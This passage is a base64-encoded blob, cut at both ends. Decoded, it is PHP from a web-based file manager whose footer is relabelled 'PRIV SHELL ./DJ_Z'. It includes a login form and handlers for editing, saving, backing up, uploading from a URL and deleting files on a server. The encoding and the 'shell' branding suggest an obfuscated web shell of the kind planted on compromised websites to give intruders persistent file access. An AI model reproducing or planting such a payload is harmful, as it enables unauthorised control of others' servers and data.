1aXJlZCBhdXRvZm9jdXM+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZm1fcHdkIiBjbGFzcz0icGItMiI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJyk7ID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJmbV9wd2QiIG5hbWU9ImZtX3B3ZCIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm1fc2hvd19tZXNzYWdlKCk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sZW50aXRpZXMoJF9TRVNTSU9OWyd0b2tlbiddKTsgPz4iIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyBidG4tYmxvY2sgdy0xMDAgbXQtNCIgcm9sZT0iYnV0dG9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0xvZ2luJyk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXIgdGV4dC1jZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pby8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1tdXRlZCIgZGF0YS12ZXJzaW9uPSI8P3BocCBlY2hvIFZFUlNJT047ID8+Ij5QUklWIFNIRUxMIC4vREpfWjwvYT4gJm1kYXNoOyZtZGFzaDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L3NlY3Rpb24+DQoNCiAgICAgICAgPD9waHANCiAgICAgICAgZm1fc2hvd19mb290ZXJfbG9naW4oKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQoNCi8vIHVwZGF0ZSByb290IHBhdGgNCmlmICgkdXNlX2F1dGggJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkpIHsNCiAgICAkcm9vdF9wYXRoID0gaXNzZXQoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSA/ICRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXSA6ICRyb290X3BhdGg7DQp9DQoNCi8vIGNsZWFuIGFuZCBjaGVjayAkcm9vdF9wYXRoDQokcm9vdF9wYXRoID0gcnRyaW0oJHJvb3RfcGF0aCwgJ1xcLycpOw0KJHJvb3RfcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHJvb3RfcGF0aCk7DQppZiAoIUBpc19kaXIoJHJvb3RfcGF0aCkpIHsNCiAgICBlY2hvICI8aDE+Ii5sbmcoJ1Jvb3QgcGF0aCcpLiIgXCJ7JHJvb3RfcGF0aH1cIiAiLmxuZygnbm90IGZvdW5kIScpLiIgPC9oMT4iOw0KICAgIGV4aXQ7DQp9DQoNCmRlZmluZWQoJ0ZNX1NIT1dfSElEREVOJykgfHwgZGVmaW5lKCdGTV9TSE9XX0hJRERFTicsICRzaG93X2hpZGRlbl9maWxlcyk7DQpkZWZpbmVkKCdGTV9ST09UX1BBVEgnKSB8fCBkZWZpbmUoJ0ZNX1JPT1RfUEFUSCcsICRyb290X3BhdGgpOw0KZGVmaW5lZCgnRk1fTEFORycpIHx8IGRlZmluZSgnRk1fTEFORycsICRsYW5nKTsNCmRlZmluZWQoJ0ZNX0ZJTEVfRVhURU5TSU9OJykgfHwgZGVmaW5lKCdGTV9GSUxFX0VYVEVOU0lPTicsICRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyk7DQpkZWZpbmVkKCdGTV9VUExPQURfRVhURU5TSU9OJykgfHwgZGVmaW5lKCdGTV9VUExPQURfRVhURU5TSU9OJywgJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMpOw0KZGVmaW5lZCgnRk1fRVhDTFVERV9JVEVNUycpIHx8IGRlZmluZSgnRk1fRVhDTFVERV9JVEVNUycsICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykgPyBzZXJpYWxpemUoJGV4Y2x1ZGVfaXRlbXMpIDogJGV4Y2x1ZGVfaXRlbXMpKTsNCmRlZmluZWQoJ0ZNX0RPQ19WSUVXRVInKSB8fCBkZWZpbmUoJ0ZNX0RPQ19WSUVXRVInLCAkb25saW5lX3ZpZXdlcik7DQpkZWZpbmUoJ0ZNX1JFQURPTkxZJywgJGdsb2JhbF9yZWFkb25seSB8fCAoJHVzZV9hdXRoICYmICFlbXB0eSgkcmVhZG9ubHlfdXNlcnMpICYmIGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pICYmIGluX2FycmF5KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRyZWFkb25seV91c2VycykpKTsNCmRlZmluZSgnRk1fSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsNCg0KLy8gYWx3YXlzIHVzZSA/cD0NCmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHsNCiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsNCn0NCg0KLy8gZ2V0IHBhdGgNCiRwID0gaXNzZXQoJF9HRVRbJ3AnXSkgPyAkX0dFVFsncCddIDogKGlzc2V0KCRfUE9TVFsncCddKSA/ICRfUE9TVFsncCddIDogJycpOw0KDQovLyBjbGVhbiBwYXRoDQokcCA9IGZtX2NsZWFuX3BhdGgoJHApOw0KDQovLyBmb3IgYWpheCByZXF1ZXN0IC0gc2F2ZQ0KJGlucHV0ID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7DQokX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7DQoNCi8vIGluc3RlYWQgZ2xvYmFscyB2YXJzDQpkZWZpbmUoJ0ZNX1BBVEgnLCAkcCk7DQpkZWZpbmUoJ0ZNX1VTRV9BVVRIJywgJHVzZV9hdXRoKTsNCmRlZmluZSgnRk1fRURJVF9GSUxFJywgJGVkaXRfZmlsZXMpOw0KZGVmaW5lZCgnRk1fSUNPTlZfSU5QVVRfRU5DJykgfHwgZGVmaW5lKCdGTV9JQ09OVl9JTlBVVF9FTkMnLCAkaWNvbnZfaW5wdXRfZW5jb2RpbmcpOw0KZGVmaW5lZCgnRk1fVVNFX0hJR0hMSUdIVEpTJykgfHwgZGVmaW5lKCdGTV9VU0VfSElHSExJR0hUSlMnLCAkdXNlX2hpZ2hsaWdodGpzKTsNCmRlZmluZWQoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJykgfHwgZGVmaW5lKCdGTV9ISUdITElHSFRKU19TVFlMRScsICRoaWdobGlnaHRqc19zdHlsZSk7DQpkZWZpbmVkKCdGTV9EQVRFVElNRV9GT1JNQVQnKSB8fCBkZWZpbmUoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcsICRkYXRldGltZV9mb3JtYXQpOw0KDQp1bnNldCgkcCwgJHVzZV9hdXRoLCAkaWNvbnZfaW5wdXRfZW5jb2RpbmcsICR1c2VfaGlnaGxpZ2h0anMsICRoaWdobGlnaHRqc19zdHlsZSk7DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKiogQUNUSU9OUyAqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCi8vIEhhbmRsZSBhbGwgQUpBWCBSZXF1ZXN0DQppZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgew0KICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgICAgICBkaWUoIkludmFsaWQgVG9rZW4uIik7DQogICAgfQ0KDQogICAgLy9zZWFyY2ggOiBnZXQgbGlzdCBvZiBmaWxlcyBmcm9tIHRoZSBjdXJyZW50IGZvbGRlcg0KICAgIGlmKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXT09InNlYXJjaCIpIHsNCiAgICAgICAgJGRpciA9ICRfUE9TVFsncGF0aCddID09ICIuIiA/ICcnOiAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJHJlc3BvbnNlID0gc2NhbihmbV9jbGVhbl9wYXRoKCRkaXIpLCAkX1BPU1RbJ2NvbnRlbnQnXSk7DQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH0NCg0KICAgIC8vIHNhdmUgZWRpdG9yIGZpbGUNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJzYXZlIikgew0KICAgICAgICAvLyBnZXQgY3VycmVudCBwYXRoDQogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOw0KICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykgew0KICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICAgICAgfQ0KICAgICAgICAvLyBjaGVjayBwYXRoDQogICAgICAgIGlmICghaXNfZGlyKCRwYXRoKSkgew0KICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7DQogICAgICAgIH0NCiAgICAgICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOw0KICAgICAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOw0KICAgICAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsNCiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBNYW5hIEZpbGU/PycpLCAnZXJyb3InKTsNCiAgICAgICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICAgICAgfQ0KICAgICAgICBoZWFkZXIoJ1gtWFNTLVByb3RlY3Rpb246MCcpOw0KICAgICAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsNCg0KICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107DQogICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsICJ3Iik7DQogICAgICAgICR3cml0ZV9yZXN1bHRzID0gQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpOw0KICAgICAgICBmY2xvc2UoJGZkKTsNCiAgICAgICAgaWYgKCR3cml0ZV9yZXN1bHRzID09PSBmYWxzZSl7DQogICAgICAgICAgICBoZWFkZXIoIkhUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3IiKTsNCiAgICAgICAgICAgIGRpZSgiQ291bGQgTm90IFdyaXRlIEZpbGUhIC0gQ2hlY2sgUGVybWlzc2lvbnMgLyBPd25lcnNoaXAiKTsNCiAgICAgICAgfQ0KICAgICAgICBkaWUodHJ1ZSk7DQogICAgfQ0KDQogICAgLy8gYmFja3VwIGZpbGVzDQogICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAiYmFja3VwIiAmJiAhZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICRmaWxlTmFtZSA9IGZtX2NsZWFuX3BhdGgoJF9QT1NUWydmaWxlJ10pOw0KICAgICAgICAkZnVsbFBhdGggPSBGTV9ST09UX1BBVEggLiAnLyc7DQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7DQogICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7DQogICAgICAgICAgICAkZnVsbFBhdGggLj0gInskcmVsYXRpdmVEaXJQYXRofS8iOw0KICAgICAgICB9DQogICAgICAgICRkYXRlID0gZGF0ZSgiZE15LUhpcyIpOw0KICAgICAgICAkbmV3RmlsZU5hbWUgPSAieyRmaWxlTmFtZX0teyRkYXRlfS5iYWsiOw0KICAgICAgICAkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSA9ICRmdWxsUGF0aCAuICRmaWxlTmFtZTsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUpKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmlsZSB7JGZpbGVOYW1lfSBub3QgZm91bmQiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7DQogICAgICAgICAgICAgICAgZWNobyAiQmFja3VwIHskbmV3RmlsZU5hbWV9IGNyZWF0ZWQiOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgICAgICAgICAgZWNobyAkZS0+Z2V0TWVzc2FnZSgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gU2F2ZSBDb25maWcNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJzZXR0aW5ncyIpIHsNCiAgICAgICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkcmVwb3J0X2Vycm9ycywgJHNob3dfaGlkZGVuX2ZpbGVzLCAkbGFuZ19saXN0LCAkaGlkZV9Db2xzLCAkdGhlbWU7DQogICAgICAgICRuZXdMbmcgPSAkX1BPU1RbJ2pzLWxhbmd1YWdlJ107DQogICAgICAgIGZtX2dldF90cmFuc2xhdGlvbnMoW10pOw0KICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJG5ld0xuZywgJGxhbmdfbGlzdCkpIHsNCiAgICAgICAgICAgICRuZXdMbmcgPSAnZW4nOw0KICAgICAgICB9DQoNCiAgICAgICAgJGVycCA9IGlzc2V0KCRfUE9TVFsnanMtZXJyb3ItcmVwb3J0J10pICYmICRfUE9TVFsnanMtZXJyb3ItcmVwb3J0J10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOw0KICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOw0KICAgICAgICAkaGNvID0gaXNzZXQoJF9QT1NUWydqcy1oaWRlLWNvbHMnXSkgJiYgJF9QT1NUWydqcy1oaWRlLWNvbHMnXSA9PSAidHJ1ZSIgPyB0cnVlIDogZmFsc2U7DQogICAgICAgICR0ZTMgPSAkX1BPU1RbJ2pzLXRoZW1lLTMnXTsNCg0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnbGFuZyddICE9ICRuZXdMbmcpIHsNCiAgICAgICAgICAgICRjZmctPmRhdGFbJ2xhbmcnXSA9ICRuZXdMbmc7DQogICAgICAgICAgICAkbGFuZyA9ICRuZXdMbmc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddICE9ICRlcnApIHsNCiAgICAgICAgICAgICRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddID0gJGVycDsNCiAgICAgICAgICAgICRyZXBvcnRfZXJyb3JzID0gJGVycDsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSAhPSAkc2hmKSB7DQogICAgICAgICAgICAkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddID0gJHNoZjsNCiAgICAgICAgICAgICRzaG93X2hpZGRlbl9maWxlcyA9ICRzaGY7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikgew0KICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7DQogICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmOw0KICAgICAgICB9DQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSAhPSAkaGNvKSB7DQogICAgICAgICAgICAkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSA9ICRoY287DQogICAgICAgICAgICAkaGlkZV9Db2xzID0gJGhjbzsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsndGhlbWUnXSAhPSAkdGUzKSB7DQogICAgICAgICAgICAkY2ZnLT5kYXRhWyd0aGVtZSddID0gJHRlMzsNCiAgICAgICAgICAgICR0aGVtZSA9ICR0ZTM7DQogICAgICAgIH0NCiAgICAgICAgJGNmZy0+c2F2ZSgpOw0KICAgICAgICBlY2hvIHRydWU7DQogICAgfQ0KDQogICAgLy8gbmV3IHBhc3N3b3JkIGhhc2gNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJwd2RoYXNoIikgew0KICAgICAgICAkcmVzID0gaXNzZXQoJF9QT1NUWydpbnB1dFBhc3N3b3JkMiddKSAmJiAhZW1wdHkoJF9QT1NUWydpbnB1dFBhc3N3b3JkMiddKSA/IHBhc3N3b3JkX2hhc2goJF9QT1NUWydpbnB1dFBhc3N3b3JkMiddLCBQQVNTV09SRF9ERUZBVUxUKSA6ICcnOw0KICAgICAgICBlY2hvICRyZXM7DQogICAgfQ0KDQogICAgLy91cGxvYWQgdXNpbmcgdXJsDQogICAgaWYoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJ1cGxvYWQiICYmICFlbXB0eSgkX1JFUVVFU1RbInVwbG9hZHVybCJdKSkgew0KICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7DQogICAgICAgIH0NCg0KICAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2sgKCRtZXNzYWdlKSB7DQogICAgICAgICAgICBnbG9iYWwgJGNhbGxiYWNrOw0KICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkbWVzc2FnZSk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBnZXRfZmlsZV9wYXRoICgpIHsNCiAgICAgICAgICAgIGdsb2JhbCAkcGF0aCwgJGZpbGVpbmZvLCAkdGVtcF9maWxlOw0KICAgICAgICAgICAgcmV0dXJuICRwYXRoLiIvIi5iYXNlbmFtZSgkZmlsZWluZm8tPm5hbWUpOw0KICAgICAgICB9DQoNCiAgICAgICAgJHVybCA9ICFlbXB0eSgkX1JFUVVFU1RbInVwbG9hZHVybCJdKSAmJiBwcmVnX21hdGNoKCJ8Xmh0dHAocyk/Oi8vLiskfCIsIHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbInVwbG9hZHVybCJdKSkgPyBzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWyJ1cGxvYWR1cmwiXSkgOiBudWxsOw0KDQogICAgICAgIC8vcHJldmVudCAxMjcuKiBkb21haW4gYW5kIGtub3duIHBvcnRzDQogICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTsNCiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTsNCiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07DQoNCiAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9ebG9jYWxob3N0JHxeMTI3KD86XC5bMC05XSspezAsMn1cLlswLTldKyR8Xig/OjAqXDopKj86PzAqMSQvaSIsICRkb21haW4pIHx8IGluX2FycmF5KCRwb3J0LCAka25vd25Qb3J0cykpIHsNCiAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIlVSTCBpcyBub3QgYWxsb3dlZCIpOw0KICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwiID0+ICRlcnIpKTsNCiAgICAgICAgICAgIGV4aXQoKTsNCiAgICAgICAgfQ0KDQogICAgICAgICR1c2VfY3VybCA9IGZhbHNlOw0KICAgICAgICAkdGVtcF9maWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJ1cGxvYWQtIik7DQogICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpOw0KICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKGJhc2VuYW1lKCR1cmwpLCAiLlx4MDAuLlx4MjAiKTsNCg0KICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOw0KICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlOw0KDQogICAgICAgICRlcnIgPSBmYWxzZTsNCg0KICAgICAgICBpZighJGlzRmlsZUFsbG93ZWQpIHsNCiAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIkZpbGUgZXh0ZW5zaW9uIGlzIG5vdCBhbGxvd2VkIik7DQogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZmFpbCIgPT4gJGVycikpOw0KICAgICAgICAgICAgZXhpdCgpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCEkdXJsKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IGZhbHNlOw0KICAgICAgICB9IGVsc2UgaWYgKCR1c2VfY3VybCkgew0KICAgICAgICAgICAgQCRmcCA9IGZvcGVuKCR0ZW1wX2ZpbGUsICJ3Iik7DQogICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlICk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7DQogICAgICAgICAgICBAJHN1Y2Nlc3MgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAgICAgICAgICRjdXJsX2luZm8gPSBjdXJsX2dldGluZm8oJGNoKTsNCiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHsNCiAgICAgICAgICAgICAgICAkZXJyID0gYXJyYXkoIm1lc3NhZ2UiID0+IGN1cmxfZXJyb3IoJGNoKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBAY3VybF9jbG9zZSgkY2gpOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAkZmlsZWluZm8tPnNpemUgPSAkY3VybF9pbmZvWyJzaXplX2Rvd25sb2FkIl07DQogICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvWyJjb250ZW50X3R5cGUiXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoKTsNCiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGNvcHkoJHVybCwgJHRlbXBfZmlsZSwgJGN0eCk7DQogICAgICAgICAgICBpZiAoISRzdWNjZXNzKSB7DQogICAgICAgICAgICAgICAgJGVyciA9IGVycm9yX2dldF9sYXN0KCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoJHN1Y2Nlc3MpIHsNCiAgICAgICAgICAgICRzdWNjZXNzID0gcmVuYW1lKCR0ZW1wX2ZpbGUsIHN0cnRvayhnZXRfZmlsZV9wYXRoKCksICc/JykpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRzdWNjZXNzKSB7DQogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZG9uZSIgPT4gJGZpbGVpbmZvKSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICBpZiAoISRlcnIpIHsNCiAgICAgICAgICAgICAgICAkZXJyID0gYXJyYXkoIm1lc3NhZ2UiID0+ICJJbnZhbGlkIHVybCBwYXJhbWV0ZXIiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJmYWlsIiA9PiAkZXJyKSk7DQogICAgICAgIH0NCiAgICB9DQogICAgZXhpdCgpOw0KfQ0KDQovLyBEZWxldGUgZmlsZSAvIGZvbGRlcg0KaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsNCiAgICAkZGVsID0gc3RyX3JlcGxhY2UoICcvJywgJycsIGZtX2NsZWFuX3BhdGgoICRfR0VUWydkZWwnXSApICk7DQogICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7DQogICAgICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgICAgICB9DQogICAgICAgICRpc19kaXIgPSBpc19kaXIoJHBhdGggLiAnLycgLiAkZGVsKTsNCiAgICAgICAgaWYgKGZtX3JkZWxldGUoJHBhdGggLiAnLycgLiAkZGVsKSkgew